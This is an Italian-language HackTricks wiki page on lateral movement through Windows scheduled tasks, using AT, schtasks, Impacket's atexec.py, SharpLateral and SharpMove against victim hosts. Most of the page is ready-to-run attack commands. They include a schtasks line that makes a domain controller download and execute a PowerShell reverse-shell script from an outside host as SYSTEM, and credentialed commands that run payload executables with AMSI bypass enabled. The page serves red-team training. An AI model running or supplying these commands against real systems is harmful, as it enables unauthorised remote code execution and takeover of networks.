AtExec / SchtasksExec
Reading time: 3 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Come funziona
At consente di pianificare attività su host dove conosci username/(password/Hash). Quindi, puoi usarlo per eseguire comandi su altri host e ottenere l'output.
At \\victim 11:00:00PM shutdown -r
Utilizzando schtasks, è necessario prima creare il compito e poi chiamarlo:
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
Puoi utilizzare Impacket's atexec.py
per eseguire comandi su sistemi remoti utilizzando il comando AT. Questo richiede credenziali valide (nome utente e password o hash) per il sistema target.
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
Puoi anche usare SharpLateral:
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
Puoi usare SharpMove:
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
Maggiore informazione sull'uso di schtasks con silver tickets qui.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.